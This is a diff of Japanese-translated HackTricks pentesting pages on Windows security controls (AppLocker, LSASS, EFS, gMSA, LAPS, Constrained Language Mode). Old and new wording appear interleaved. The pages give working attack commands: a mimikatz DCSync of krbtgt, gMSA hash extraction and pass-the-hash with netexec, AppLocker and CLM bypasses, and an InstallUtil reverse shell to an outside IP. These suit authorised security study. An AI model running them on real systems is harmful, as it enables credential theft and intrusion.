次のページを確認して、**winrmを使用してリモートホストに接続する他の方法**を学んでください：
次のページを参照して、**winrm を使用してリモートホストに接続する他の方法**を確認してください：
{{#ref}}
@ -161,15 +162,15 @@ New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
{{#endref}}
> [!WARNING]
> リモートコンピュータにアクセスするには、**winrmが有効でリッスンしている必要がある**ことに注意してください。
> リモートコンピュータにアクセスするには、**winrm が有効でリッスンしている必要がある**ことに注意してください。
### LDAP
この権限があれば、**DCSync**を使用してDCのデータベースをダンプすることができます：
この特権があれば、**DCSync** を使用して DC のデータベースをダンプできます：
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**DCSync について詳しく学ぶには** 次のページを参照してください:
**DCSync の詳細については次のページを参照してください**
{{#ref}}
@ -177,7 +178,7 @@ dcsync.md
{{#endref}}
## 参考資料
## 参考
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)

162
src/windows-hardening/authentication-credentials-uac-and-efs/README.md
View File

@ -1,17 +1,17 @@
# Windows セキュリティコントロール
# Windows セキュリティ コントロール
{{#include ../../banners/hacktricks-training.md}}
## AppLocker ポリシー
アプリケーションのホワイトリストは、システム上で存在し実行が許可される承認済みソフトウェアや実行ファイルの一覧です。目的は、組織の業務要件に合わない有害なマルウェアや未承認ソフトウェアから環境を保護することです。
アプリケーションホワイトリストは、システム上に存在し実行が許可される承認済みソフトウェアや実行ファイルの一覧です。目的は、組織の特定の業務要件に合致しない有害なマルウェアや未承認ソフトウェアから環境を保護することです。
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) は Microsoft の **アプリケーションホワイトリスティングソリューション** で、システム管理者に **ユーザーが実行できるアプリケーションとファイル** を制御する手段を提供します。**詳細な制御** を実行可能ファイル、スクリプト、Windows インストーラーファイル、DLL、パッケージ化されたアプリ、およびパックされたアプリインストーラーに対して提供します。\
組織によっては **cmd.exe と PowerShell.exe をブロック** し特定ディレクトリへの書き込みを禁止することが一般的ですが、**これらはすべて回避可能** です。
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) は Microsoft の **アプリケーションホワイトリスティングソリューション** で、システム管理者に **ユーザーが実行できるアプリケーションおよびファイルを制御する** 権限を提供します。実行ファイル、スクリプト、Windows インストーラー ファイル、DLL、パッケージ化されたアプリ、およびパッケージインストーラーに対して **詳細な制御** を提供します。\
多くの組織では **cmd.exe と PowerShell.exe をブロック** したり特定のディレクトリへの書き込みアクセスを制限することが一般的ですが、**これはすべて回避可能です**。
### チェック
どのファイル/拡張子がブラックリスト/ホワイトリスト化されているかを確認する:
どのファイル/拡張子がブラックリスト/ホワイトリストに登録されているか確認する：
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
This registry path contains the configurations and policies applied by AppLocker, providing a way to review the current set of rules enforced on the system:
このレジストリパスには AppLocker によって適用される設定とポリシーが含まれており、システム上で強制されている現在のルールのセットを確認する方法を提供します:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Bypass
- AppLocker Policy を bypass するのに便利な **Writable folders**: AppLocker が `C:\Windows\System32` または `C:\Windows` 内での実行を許可している場合、**writable folders** を使って **bypass this** することができます。
- AppLocker Policy を bypass するのに有用な **Writable folders**: AppLocker が `C:\Windows\System32` または `C:\Windows` の中で任意の実行を許可している場合、これを **bypass** するために使用できる **writable folders** が存在します。
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- 一般的に **信頼されている** [**"LOLBAS's"**](https://lolbas-project.github.io/) バイナリは AppLocker のバイパスにも有用です。
- **不適切に記述されたルールもバイパスされる可能性があります**
- 例えば、**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`** のような場合、どこにでも **`allowed` というフォルダ** を作成すれば許可されます。
- 組織はしばしば **`%System32%\WindowsPowerShell\v1.0\powershell.exe` 実行ファイルのブロック** に注力しますが、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` や `PowerShell_ISE.exe` のような **他の** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) を見落としがちです。
- **DLL の強制は、システムにかかる追加の負荷や、何も壊れないことを確認するために必要なテスト量のためにほとんど有効化されていません。** したがって、**バックドアとして DLL を使用することは AppLocker のバイパスに役立ちます。**
- 任意のプロセス内で PowerShell コードを **実行** して AppLocker をバイパスするために、[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) や [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用できます。詳細は次を参照してください: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
- 一般的に**信頼されている** [**"LOLBAS's"**](https://lolbas-project.github.io/) バイナリは AppLocker を回避するのにも有用です。
- **不適切に作成されたルールはバイパスされる可能性があります**
- 例えば、**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`** のようなルールでは、どこにでも **`allowed` というフォルダを作成**すれば許可されてしまいます。
- 組織はしばしば **`%System32%\WindowsPowerShell\v1.0\powershell.exe` 実行ファイルのブロック** に注力しますが、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` や `PowerShell_ISE.exe` といった他の [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) を忘れがちです。
- **DLL enforcement は、システムに与える追加負荷や動作確認のためのテスト量のため、ほとんど有効化されません。** したがって、**DLL をバックドアとして利用することは AppLocker のバイパスに役立ちます**。
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) や [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用すると、任意のプロセス内で PowerShell コードを実行して AppLocker をバイパスできます。詳細は次を参照してください: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode
## 認証情報の保存
## 資格情報の保存
### セキュリティアカウントマネージャ (SAM)
### Security Accounts Manager (SAM)
ローカルの資格情報がこのファイルに存在し、パスワードはハッシュ化されています。
ローカルの資格情報はこのファイルに存在し、パスワードはハッシュ化されています。
### ローカルセキュリティオーソリティ (LSA) - LSASS
### Local Security Authority (LSA) - LSASS
**資格情報**（ハッシュ化されたもの）は、シングルサインオンのためにこのサブシステムの**メモリ**に**保存**されます。\
**LSA** はローカルの**セキュリティポリシー**（パスワードポリシー、ユーザー権限...）、**認証**、**アクセストークン**などを管理します。\
LSA はローカルログイン時に **SAM** ファイル内の提供された資格情報を**チェック**し、ドメインユーザーを認証するために **domain controller** と**やり取り**します。
**資格情報**（ハッシュ化されたもの）は、Single Sign-On のためにこのサブシステムの**メモリ**に**保存**されます。\
**LSA** はローカルの **セキュリティポリシー**（パスワードポリシー、ユーザー権限...）、**認証**、**アクセストークン**などを管理します。\
LSA はローカルログイン時には **SAM** ファイル内の提供された資格情報を**確認**し、ドメインユーザーを認証するために **ドメインコントローラー** と**連携**します。
これらの**資格情報**は**LSASS プロセス**内に**保存**されています：Kerberos チケット、NT および LM ハッシュ、容易に復号されるパスワードなど。
**資格情報**は**LSASS プロセス**内に**保存**されます: Kerberos チケット、NT と LM のハッシュ、容易に復号できるパスワードなど。
### LSA シークレット
### LSA secrets
LSA はディスク上にいくつかの資格情報を保存することがあります:
LSA はディスク上にいくつかの資格情報を保存する場合があります:
- Active Directory のコンピューターアカウントのパスワード（ドメインコントローラーに到達できない場合）。
- Active Directory のコンピュータアカウントのパスワード（ドメインコントローラーに到達できない場合のため）。
- Windows サービスのアカウントのパスワード
- スケジュールされたタスクのパスワード
- その他（IIS アプリケーションのパスワード...）
- その他（IIS アプリケーションのパスワードなど）
### NTDS.dit
Active Directory のデータベースです。ドメインコントローラーにのみ存在します。
これは Active Directory のデータベースです。ドメインコントローラーにのみ存在します。
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) は Windows 10 および Windows 11、ならびに Windows Server のバージョンで利用可能なアンチウイルスです。`WinPEAS` のような一般的な pentesting ツールをブロックします。ただし、これらの保護をバイパスする方法も存在します。
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) は Windows 10 および Windows 11、並びに Windows Server のバージョンで利用可能なアンチウイルスです。`WinPEAS` のような一般的な pentesting ツールを**ブロック**します。しかし、これらの防御を**回避する**方法も存在します。
### チェック
Defender の**ステータス**を確認するには、PS コマンドレット **`Get-MpComputerStatus`** を実行します（有効かどうかを確認するには **`RealTimeProtectionEnabled`** の値を確認してください）:
Defender の**状態**を確認するには、PS コマンドレット **`Get-MpComputerStatus`** を実行します（有効かどうかは **`RealTimeProtectionEnabled`** の値を確認してください）:
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName :
</code></pre>
列挙するには次のコマンドも実行できます:
列挙するには、次のコマンドも実行できます:
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -103,33 +103,33 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS はファイルを暗号化によって保護します。ここでは **対称鍵** として知られる **File Encryption Key (FEK)** を利用します。FEK はユーザーの **公開鍵** で暗号化され、暗号化ファイルの $EFS の **代替データストリーム** 内に格納されます。復号が必要な場合、ユーザーのデジタル証明書に対応する **秘密鍵** を用いて $EFS ストリームから FEK を復号します。詳細は[こちら](https://en.wikipedia.org/wiki/Encrypting_File_System)を参照してください。
EFS は暗号化を用いてファイルを保護します。対称鍵として知られる **File Encryption Key (FEK)** を使用し、この鍵はユーザーの **public key** で暗号化され、暗号化ファイルの $EFS **alternative data stream** に格納されます。復号が必要な際には、ユーザーのデジタル証明書に対応する **private key** を使用して $EFS ストリームから FEK を復号します。詳細は [here](https://en.wikipedia.org/wiki/Encrypting_File_System) を参照してください。
**ユーザーの操作なしに復号が行われる状況** には次のようなものがあります:
**ユーザーの操作なしでの復号シナリオ** には以下が含まれます：
- ファイルやフォルダが [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) のような非 EFS ファイルシステムに移動されたとき、自動的に復号されます。
- SMB/CIFS プロトコル経由でネットワーク越しに送信される暗号化ファイルは、送信前に復号されます。
- ファイルやフォルダが FAT32 のような非 EFS ファイルシステムに移動されると、自動的に復号されます。
- SMB/CIFS プロトコルでネットワーク越しに送信される暗号化ファイルは、送信前に復号されます。
この暗号化方式は所有者に対して暗号化ファイルへの **透過的なアクセス** を許可します。ただし、単に所有者のパスワードを変更してログインするだけでは復号はできません。
この暗号化方式は所有者に対して暗号化ファイルへの **透過的なアクセス** を許します。ただし、所有者のパスワードを単に変更してログインするだけでは復号はできません。
### 要点
**重要ポイント**:
- EFS は対称 FEK を使用し、FEK はユーザーの公開鍵で暗号化されます。
- 復号には FEK にアクセスするためにユーザーの秘密鍵が使用されます。
- FAT32 にコピーしたりネットワーク送信するなど特定の条件下で自動的に復号が行われます。
- 暗号化ファイルは所有者が追加の手順なしでアクセスできます。
- EFS は対称 FEK を使用し、それがユーザーの public key で暗号化される。
- 復号はユーザーの private key を用いて FEK にアクセスすることで行われる。
- FAT32 へのコピーやネットワーク送信など、特定の条件下で自動復号が発生する。
- 暗号化ファイルは所有者が追加の手順なしにアクセス可能である。
### Check EFS info
このサービスをユーザーが使用したかどうかは、次のパスが存在するか確認してください: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
このサービスを **ユーザー** が **使用した** かどうかは次のパスが存在するか確認して調べます: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
ファイルに**誰が**アクセスできるかを確認するには `cipher /c \<file\>` を使用します。フォルダ内のすべてのファイルを **暗号化 / 復号** するには、`cipher /e` と `cipher /d` を使用できます。
ファイルへの **誰がアクセスできるか** は `cipher /c \<file>\` を使って確認できます。フォルダ内で `cipher /e` と `cipher /d` を使えば、フォルダ内のすべてのファイルを **暗号化** / **復号** できます。
### Decrypting EFS files
#### Being Authority System
この方法は、**被害ユーザー** がホスト内でプロセスを **実行している** 必要があります。もしその状態であれば、`meterpreter` セッションを使ってユーザーのプロセスのトークンを偽装する（`incognito` の `impersonate_token`）ことができます。または単にユーザーのプロセスに `migrate` することも可能です。
この方法は **被害ユーザー** がホスト内で **プロセス** を **実行している** 必要があります。もしそうなら、`meterpreter` セッションを使用してユーザーのプロセスのトークンを偽装する（`impersonate_token` from `incognito`）ことができます。または単にユーザーのプロセスに `migrate` することも可能です。
#### Knowing the users password
@ -140,15 +140,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA)
Microsoft は IT インフラでのサービスアカウント管理を簡素化するために **Group Managed Service Accounts (gMSA)** を開発しました。従来の「Password never expire」設定が有効になりがちなサービスアカウントとは異なり、gMSA はより安全で管理しやすいソリューションを提供します:
Microsoft は IT インフラ内のサービスアカウント管理を簡素化するために **Group Managed Service Accounts (gMSA)** を開発しました。従来のサービスアカウントではしばしば "**Password never expire**" 設定が有効になっていることがありますが、gMSA はより安全で管理しやすいソリューションを提供します：
- **自動パスワード管理**: gMSA は複雑な 240 文字のパスワードを使用し、ドメインやコンピュータのポリシーに従って自動的に変更されます。この処理は Microsoft の Key Distribution Service (KDC) によって行われ、手動でのパスワード更新を不要にします。
- **強化されたセキュリティ**: これらのアカウントはロックアウトの対象にならず、対話型ログインに使用できないため、セキュリティが向上します。
- **複数ホスト対応**: gMSA は複数のホストで共有可能で、複数サーバー上で動作するサービスに最適です。
- **スケジュールタスクの実行可能性**: managed service accounts と異なり、gMSA はスケジュールタスクの実行をサポートします。
- **SPN 管理の簡素化**: コンピュータの sAMaccount 情報や DNS 名に変更があった場合、システムが自動的に Service Principal Name (SPN) を更新し、SPN 管理を簡素化します。
- **自動パスワード管理**: gMSA は複雑な 240 文字のパスワードを使用し、ドメインまたはコンピュータのポリシーに従って自動的に変更されます。このプロセスは Microsoft の Key Distribution Service (KDC) によって処理され、手動でのパスワード更新の必要がなくなります。
- **強化されたセキュリティ**: これらのアカウントはロックアウトの対象にならず、対話型ログインに使用できないためセキュリティが向上します。
- **複数ホスト対応**: gMSA は複数のホストで共有可能であり、複数サーバーで実行されるサービスに適しています。
- **スケジュールタスク対応**: managed service accounts と異なり、gMSA はスケジュールタスクの実行をサポートします。
- **SPN 管理の簡素化**: コンピュータの sAMAccount 情報や DNS 名に変更があった場合、システムが自動的に Service Principal Name (SPN) を更新し、SPN 管理を簡素化します。
gMSA のパスワードは LDAP 属性 _**msDS-ManagedPassword**_ に格納され、Domain Controllers (DC) により自動的に 30 日ごとにリセットされます。このパスワードは [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) として知られる暗号化データブロブであり、許可された管理者と gMSA がインストールされているサーバーのみが取得可能で、セキュアな環境を確保します。この情報にアクセスするには LDAPS のような保護された接続が必要か、あるいは接続が 'Sealing & Secure' で認証されている必要があります。
gMSA のパスワードは LDAP プロパティ _**msDS-ManagedPassword**_ に保存され、Domain Controllers (DCs) によって 30 日ごとに自動的にリセットされます。このパスワードは [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) として知られる暗号化データの塊であり、許可された管理者と gMSA がインストールされているサーバーのみが取得可能で、セキュアな環境を保証します。これらの情報にアクセスするには LDAPS のようなセキュアな接続が必要であるか、接続が 'Sealing & Secure' で認証されている必要があります。
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -156,48 +156,48 @@ You can read this password with [**GMSAPasswordReader**](https://github.com/rvaz
```
/GMSAPasswordReader --AccountName jkohler
```
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
[**詳細はこの投稿を参照**](https://cube0x0.github.io/Relaying-for-gMSA/)
また、こちらの [web page](https://cube0x0.github.io/Relaying-for-gMSA/) を確認してください。**NTLM relay attack**を実行して**gMSA**の**password**を**read**する方法について説明しています。
また、この [web page](https://cube0x0.github.io/Relaying-for-gMSA/) では、**NTLM relay attack** を実行して **gMSA** の **password** を **read** する方法が解説されています。
### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)
### ACL chaining を悪用して gMSA 管理パスワードを読み取る (GenericAll -> ReadGMSAPassword)
多くの環境では、低権限のユーザーが誤設定されたオブジェクトACLを悪用することで、DCを侵害することなくgMSAのsecretsにpivotできます:
多くの環境では、低特権ユーザーが誤設定されたオブジェクト ACL を悪用することで、DC を侵害せずに gMSA のシークレットに pivot できます:
- あなたが制御できるグループ（例: GenericAll/GenericWrite経由）がgMSAに対して`ReadGMSAPassword`を付与されている。
- そのグループに自分を追加することで、LDAP経由でgMSAの`msDS-ManagedPassword`ブロブを読み取る権利を継承し、利用可能なNTLMクレデンシャルを導出できます。
- あなたが制御できるグループ（例: GenericAll/GenericWrite により）が gMSA に対して `ReadGMSAPassword` を付与されている。
- そのグループに自分を追加することで、LDAP 経由で gMSA の `msDS-ManagedPassword` ブロブを読み取る権限を継承し、使用可能な NTLM 資格情報を導出できます。
典型的なワークフロー:
Typical workflow:
1) BloodHoundで経路を発見し、足がかりのプリンシパルをOwnedとしてマークします。次のようなエッジを探してください:
1) BloodHound を使ってパスを発見し、foothold principals を Owned としてマークします。以下のようなエッジを探してください:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) あなたが制御する中間グループに自分を追加します（例: bloodyAD）：
2) 自分が制御している中間グループに自分を追加します（bloodyAD の例）:
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) LDAP を通じて gMSA の管理パスワードを読み取り、NTLM ハッシュを導出する。NetExec は `msDS-ManagedPassword` の抽出と NTLM への変換を自動化する:
3) LDAPを通じてgMSAの管理パスワードを読み取り、NTLMハッシュを導出します。NetExecは`msDS-ManagedPassword`の抽出とNTLMへの変換を自動化します:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
4) NTLM hash を使用して gMSA として認証します（no plaintext needed）。アカウントが Remote Management Users にある場合、WinRM はそのまま動作します：
4) NTLMハッシュを使ってgMSAとして認証します（平文は不要）。アカウントが Remote Management Users にある場合、WinRM は直接動作します：
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
注意:
- `msDS-ManagedPassword` の LDAP 読み取りはシーリング（例: LDAPS/sign+seal）を必要とします。ツールはこれを自動で処理します。
- gMSAs はしばしば WinRM のようなローカル権限が付与されます; lateral movement を計画するために、グループメンバーシップ（例: Remote Management Users）を確認してください。
- 自分で NTLM を計算するだけで blob が必要な場合は、MSDS-MANAGEDPASSWORD_BLOB 構造体を参照してください。
メモ:
- `msDS-ManagedPassword` の LDAP 読み取りはシーリング（例: LDAPS/sign+seal）が必要です。ツールがこれを自動的に処理します。
- gMSAs はしばしば WinRM のようなローカル権利を付与されます。lateral movement を計画するため、グループメンバーシップ（例: Remote Management Users）を検証してください。
- NTLM を自分で計算するために blob のみが必要な場合は、MSDS-MANAGEDPASSWORD_BLOB 構造を参照してください。
## LAPS
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), はローカル Administrator パスワードの管理を可能にします。これらのパスワードは **ランダム化** され、一意で、**定期的に変更** され、Active Directory に集中して保存されます。これらのパスワードへのアクセスは ACLs によって認可されたユーザーに制限されています。十分な権限が付与されていれば、ローカル管理者パスワードを読み取ることができます。
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. これらのパスワードは **ランダム化され**、一意で、**定期的に変更され**、Active Directory に集中して保存されます。これらのパスワードへのアクセスは ACLs によって許可されたユーザーに制限されています。十分な権限が付与されていれば、ローカル管理者のパスワードを読み取ることができます。
{{#ref}}
@ -206,22 +206,22 @@ The **Local Administrator Password Solution (LAPS)**, available for download fro
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) は PowerShell を効果的に使用するために必要な多くの機能を**制限します**。例えば、COM objects のブロック、承認された .NET types のみの許可、XAML-based workflows、PowerShell classes、などが含まれます。
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **多くの機能を制限します**。PowerShell を効果的に使用するために必要な機能（例えば COM objects のブロック、承認された .NET types のみを許可、XAML-based workflows、PowerShell classes など）が制限されます。
### **確認**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### バイパス
### Bypass
```bash
#Easy bypass
Powershell -version 2
```
現在の Windows ではそのバイパスは動作しませんが、[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) を使用できます。\\
**コンパイルするには** **次に** _**参照の追加**_ -> _参照_ ->_参照_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` を追加し、**プロジェクトを .Net4.5 に変更する**。
最新の Windows ではその Bypass は動作しませんが、[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) を使用できます。\
**コンパイルするには** **次に** _**Add a Reference**_ -> _Browse_ -> _Browse_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` を追加し、**プロジェクトを .Net4.5 に変更**してください。
#### Direct bypass:
#### 直接的な Bypass:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
@ -229,11 +229,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) または [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用して、任意のプロセス内で **Powershell を実行する** code を実行し、constrained mode をバイパスできます。詳細は次を参照してください: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS 実行ポリシー
デフォルトでは **restricted.** に設定されています。 このポリシーをバイパスする主な方法:
デフォルトでは **restricted.** に設定されています。 このポリシーをバイパスする主な方法：
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -253,39 +253,39 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
詳細は[here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)にあります。
## セキュリティ サポート プロバイダ インターフェイス (SSPI)
ユーザーを認証するために使用できるAPIです。
SSPIは通信しようとする2台のマシンに対して適切なプロトコルを見つける役割を担います。これの推奨方法はKerberosです。SSPIはどの認証プロトコルが使用されるかをネゴシエートし、これらの認証プロトコルはSecurity Support Provider (SSP)と呼ばれ、各Windowsマシン内にDLLの形で存在し、通信するには両方のマシンが同じものをサポートしている必要があります。
SSPIは、通信しようとする2台のマシンにとって適切なプロトコルを見つける役割を担います。好まれる方法はKerberosです。SSPIはどの認証プロトコルを使用するかをネゴシエートします。これらの認証プロトコルはSecurity Support Provider (SSP)と呼ばれ、各Windowsマシン内にDLLの形で存在し、通信するには両方のマシンが同じものをサポートしている必要があります。
### 主なSSP
- **Kerberos**: 推奨される方式
- **Kerberos**: 推奨されるプロトコル
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** and **NTLMv2**: 互換性のため
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: WebサーバーやLDAPで使用、パスワードはMD5ハッシュの形式
- **Digest**: WebサーバーとLDAPで使用、パスワードはMD5ハッシュの形式
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSLとTLS
- **Schannel**: SSLおよびTLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: 使用するプロトコル（KerberosまたはNTLM）をネゴシエートするために使用される（既定はKerberos）
- **Negotiate**: 使用するプロトコルをネゴシエートするために使用（KerberosまたはNTLM、デフォルトはKerberos）
- %windir%\Windows\System32\lsasrv.dll
#### 交渉によっては複数の方式が提示されることもあれば、1つだけの場合もあります。
#### ネゴシエーションは複数の方法を提示する場合もあれば、1つだけの場合もあります。
## UAC - ユーザー アカウント制御
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は **権限昇格操作に対する同意プロンプト** を有効にする機能です。
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、**昇格された操作に対する同意プロンプトを有効にする**機能です。
{{#ref}}
uac-user-account-control.md
{{#endref}}
## References
## 参考
- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)

106
src/windows-hardening/checklist-windows-privilege-escalation.md
View File

@ -1,108 +1,108 @@
# チェックリスト - Local Windows Privilege Escalation
# Checklist - Local Windows Privilege Escalation
{{#include ../banners/hacktricks-training.md}}
### **Windows local privilege escalation vectors を探す最適なツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [System Info](windows-local-privilege-escalation/index.html#system-info)
- [ ] 取得する [**System information**](windows-local-privilege-escalation/index.html#system-info)
- [ ] **kernel** の [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) を検索する
- [ ] **Google** で kernel の **exploits** を検索する
- [ ] **searchsploit** で kernel の **exploits** を検索する
- [ ] 検索する **kernel** の [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] **Google** を使用して kernel **exploits** を検索する
- [ ] **searchsploit** を使用して kernel **exploits** を検索する
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) に興味深い情報はあるか？
- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) にパスワードはないか？
- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) にパスワードはあるか？
- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) に興味深い情報はあるか？
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives) はどうか？
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus) はないか？
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) を確認する
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated) は有効か？
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus) はあるか？
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated) は設定されているか？
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) と [**WEF** ](windows-local-privilege-escalation/index.html#wef) の設定を確認する
- [ ] [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)と [**WEF** ](windows-local-privilege-escalation/index.html#wef) の設定を確認する
- [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) を確認する
